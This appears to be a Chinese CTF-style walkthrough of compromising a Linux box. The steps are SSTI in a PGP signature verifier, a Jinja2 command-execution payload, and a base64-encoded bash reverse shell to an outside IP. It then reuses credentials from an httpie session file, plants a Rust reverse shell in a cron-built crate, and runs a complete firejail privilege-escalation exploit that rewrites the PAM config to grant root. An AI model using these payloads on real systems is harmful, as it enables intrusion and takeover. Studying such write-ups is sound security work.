目录扫描可能不会起作用。在concat上面找到了一个有趣的东西。
“如果不知道怎么PGP?请访问guide。”
继续点进去。
顶部有他们的PGP公钥。
经过多次尝试发现Verifying signed messages存在SSTI。
来看看是怎么发现的。以下是我们需要用的在线网站工具:
https://youritmate.us/pgp/
http://www.2pih.com/pgp.html
首先打开第一个超链接的,填写名字、邮件、和密码(可选可不选),然后生成可以得到私钥和公钥。
接着复制私钥来到第二个超链接,如果前面填写了密码的就在Passphrase填写密码,复制私钥并且随意输入一个Message。
为什么我们要怎么做?是因为我们需要观察我们能够控制的部分是那部分。然后将公钥和sign复制到目标验证功能处。
很显然,我们能控制的是生成PGP时所需的名字上。
接着将名字修改为{{12*12}}
测试是否存在SSTI(别忘了重新生成以及替换掉旧的私钥和公钥。
然后就发现存在SSTI。
将{{12*12}}
替换为{{7*'7'}}
后出现了7个7。
要么是Jinja2,要么是Twig,当然还有其他可能。使用{{config.items()}}
收集信息发现了mysql的相关信息。
尝试使用mysql的账户登录ssh失败,怀疑可能是个兔子洞。
使用payload“{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
”来尝试执行id。
可以看到成功执行了id命令。那么下一步就是反弹shell了。不过让我们先尝试看看能不能ping到本机。
很遗憾,似乎有什么东西在阻止我们。在想办法绕过它之前先看看当前用户的ssh文件能否被读取。
atlas的.ssh文件里面只有一个authorized_keys。
尝试写入公钥登录也没有办法。所以只有考虑想办法绕过它。
首先想到的是用base64编码一次。
使用base64命令,然后输入要编码的字符串,输入完毕后按下CTRL+D即可。
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMC80NDQ0IDA+JjEK" | base64 -d | bash
不知道为啥我当前shell的好像有点问题。无法使用nc活wget下载linpeas,但是我们有python3。
python3 -c "import urllib.request;url ='http://10.10.14.10/linpeas.sh';filename ='linpeas.sh';urllib.request.urlretrieve(url, filename)"
问题又来了,没有办法用chmod修改权限。
可以尝试使用python来修改权限,不过大概率没有权限修改权限。
就目前这个情况,我感觉大概率是需要找到另一个用户的凭证。还好在./httpie/sessions/localhost_5000/admin.json
找到了。
利用获得的凭证通过ssh登录。
opt目录有两个有趣的玩意。
通过pspy看看这两个有趣的东西会不会被时间任务启动。
上面那个rust的作用可能就是把用户查询的信息写进access.log文件里面。
这个tipnet程序会提供几个功能。
但是看源码能够看到似乎就只有Upstream
和Refresh Indeces
可用。
上面是e重新刷新一个什么东西,a下面是查询。
当我们使用e(Refresh Indeces),会执行一个函数pull_indeces
。
tipnet会有一句写入/opt/tipnet/access.log的代码,但是看了一下并没有发现。只存在一个logger::log
。
再结合上时间任务中这句命令。推测是将某个文件编译为库,方便tipnet使用。
这个logger应该那个外部crate, 看代码感觉就是用来写入日志的。
但是这个tipnet,似乎只能利用修改lib.rs来想办法反弹atlas用户的shell。不过我们都有了silentobserver的ssh账户了,可能用不上。
继续搜索发现有一个firejail的SUID。
哦,似乎那个lib.rs是用来获得完整atlas用户的shell。那把logger下的lib.rs内容修改为反弹shell的代码,然后重新重建一下。
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
pub fn log(user: &str, query: &str, justification: &str) {
let sock = TcpStream::connect("10.10.14.16:4321").unwrap();
let fd = sock.as_raw_fd();
Command::new("/bin/bash")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn()
.unwrap()
.wait()
.unwrap();
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
复制到/opt/crates/logger/src/lib.rs,然后等两分钟就可以了。完整的atlas有一个jailer的组。
继续回到那个firejail上。
看来需要两个shell。重新写一个lib.rs就行了,然后第二个shell里面照着说明使用即可。
https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25#file-exploit-py-L221
#!/usr/bin/python3
import os
import shutil
import stat
import subprocess
import sys
import tempfile
import time
from pathlib import Path
# Print error message and exit with status 1
def printe(*args, **kwargs):
kwargs['file'] = sys.stderr
print(*args, **kwargs)
sys.exit(1)
# Return a boolean whether the given file path fulfils the requirements for the
# exploit to succeed:
# - owned by uid 0
# - size of 1 byte
# - the content is a single '1' ASCII character
def checkFile(f):
s = os.stat(f)
if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode):
return False
with open(f) as fd:
ch = fd.read(2)
if len(ch) != 1 or ch != "1":
return False
return True
def mountTmpFS(loc):
subprocess.check_call("mount -t tmpfs none".split() + [loc])
def bindMount(src, dst):
subprocess.check_call("mount --bind".split() + [src, dst])
def checkSelfExecutable():
s = os.stat(__file__)
if (s.st_mode & stat.S_IXUSR) == 0:
printe(f"{__file__} needs to have the execute bit set for the exploit to \
work. Run `chmod +x {__file__}` and try again.")
# This creates a "helper" sandbox that serves the purpose of making available
# a proper "join" file for symlinking to as part of the exploit later on.
#
# Returns a tuple of (proc, join_file), where proc is the running subprocess
# (it needs to continue running until the exploit happened) and join_file is
# the path to the join file to use for the exploit.
def createHelperSandbox():
# just run a long sleep command in an unsecured sandbox
proc = subprocess.Popen(
"firejail --noprofile -- sleep 10d".split(),
stderr=subprocess.PIPE)
# read out the child PID from the stderr output of firejail
while True:
line = proc.stderr.readline()
if not line:
raise Exception("helper sandbox creation failed")
# on stderr a line of the form "Parent pid , child pid " is output
line = line.decode('utf8').strip().lower()
if line.find("child pid") == -1:
continue
child_pid = line.split()[-1]
try:
child_pid = int(child_pid)
break
except Exception:
raise Exception("failed to determine child pid from helper sandbox")
# We need to find the child process of the child PID, this is the
# actual sleep process that has an accessible root filesystem in /proc
children = f"/proc/{child_pid}/task/{child_pid}/children"
# If we are too quick then the child does not exist yet, so sleep a bit
for _ in range(10):
with open(children) as cfd:
line = cfd.read().strip()
kids = line.split()
if not kids:
time.sleep(0.5)
continue
elif len(kids) != 1:
raise Exception(f"failed to determine sleep child PID from helper \
sandbox: {kids}")
try:
sleep_pid = int(kids[0])
break
except Exception:
raise Exception("failed to determine sleep child PID from helper \sandbox")
else:
raise Exception(f"sleep child process did not come into existence in {children}")
join_file = f"/proc/{sleep_pid}/root/run/firejail/mnt/join"
if not os.path.exists(join_file):
raise Exception(f"join file from helper sandbox unexpectedly not found at \
{join_file}")
return proc, join_file
# Re-executes the current script with unshared user and mount namespaces
def reexecUnshared(join_file):
if not checkFile(join_file):
printe(f"{join_file}: this file does not match the requirements (owner uid 0, \
size 1 byte, content '1')")
os.environ["FIREJOIN_JOINFILE"] = join_file
os.environ["FIREJOIN_UNSHARED"] = "1"
unshare = shutil.which("unshare")
if not unshare:
printe("could not find 'unshare' program")
cmdline = "unshare -U -r -m".split()
cmdline += [__file__]
# Re-execute this script with unshared user and mount namespaces
subprocess.call(cmdline)
if "FIREJOIN_UNSHARED" not in os.environ:
# First stage of execution, we first need to fork off a helper sandbox and
# an exploit environment
checkSelfExecutable()
helper_proc, join_file = createHelperSandbox()
reexecUnshared(join_file)
helper_proc.kill()
helper_proc.wait()
sys.exit(0)
else:
# We are in the sandbox environment, the suitable join file has been
# forwarded from the first stage via the environment
join_file = os.environ["FIREJOIN_JOINFILE"]
# We will make /proc/1/ns/user point to this via a symlink
time_ns_src = "/proc/self/ns/time"
# Make the firejail state directory writeable, we need to place a symlink to
# the fake join state file there
mountTmpFS("/run/firejail")
# Mount a tmpfs over the proc state directory of the init process, to place a
# symlink to a fake "user" ns there that firejail thinks it is joining
try:
mountTmpFS("/proc/1")
except subprocess.CalledProcessError:
# This is a special case for Fedora Linux where SELinux rules prevent us
# from mounting a tmpfs over proc directories.
# We can still circumvent this by mounting a tmpfs over all of /proc, but
# we need to bind-mount a copy of our own time namespace first that we can
# symlink to.
with open("/tmp/time", 'w') as _:
pass
time_ns_src = "/tmp/time"
bindMount("/proc/self/ns/time", time_ns_src)
mountTmpFS("/proc")
FJ_MNT_ROOT = Path("/run/firejail/mnt")
# Create necessary intermediate directories
os.makedirs(FJ_MNT_ROOT)
os.makedirs("/proc/1/ns")
# Firejail expects to find the umask for the "container" here, else it fails
with open(FJ_MNT_ROOT / "umask", 'w') as umask_fd:
umask_fd.write("022")
# Create the symlink to the join file to pass Firejail's sanity check
os.symlink(join_file, FJ_MNT_ROOT / "join")
# Since we cannot join our own user namespace again fake a user namespace that
# is actually a symlink to our own time namespace. This works since Firejail
# calls setns() without the nstype parameter.
os.symlink(time_ns_src, "/proc/1/ns/user")
# The process joining our fake sandbox will still have normal user privileges,
# but it will be a member of the mount namespace under the control of *this*
# script while *still* being a member of the initial user namespace.
# 'no_new_privs' won't be set since Firejail takes over the settings of the
# target process.
#
# This means we can invoke setuid-root binaries as usual but they will operate
# in a mount namespace under our control. To exploit this we need to adjust
# file system content in a way that a setuid-root binary grants us full
# root privileges. 'su' and 'sudo' are the most typical candidates for it.
#
# The tools are hardened a bit these days and reject certain files if not owned
# by root e.g. /etc/sudoers. There are various directions that could be taken,
# this one works pretty well though: Simply replacing the PAM configuration
# with one that will always grant access.
with tempfile.NamedTemporaryFile('w') as tf:
tf.write("auth sufficient pam_permit.so\n")
tf.write("account sufficient pam_unix.so\n")
tf.write("session sufficient pam_unix.so\n")
# Be agnostic about the PAM config file location in /etc or /usr/etc
for pamd in ("/etc/pam.d", "/usr/etc/pam.d"):
if not os.path.isdir(pamd):
continue
for service in ("su", "sudo"):
service = Path(pamd) / service
if not service.exists():
continue
# Bind mount over new "helpful" PAM config over the original
bindMount(tf.name, service)
print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obtain \
a shell where 'sudo su -' should grant you a root shell.")
while True:
line = sys.stdin.readline()
if not line:
break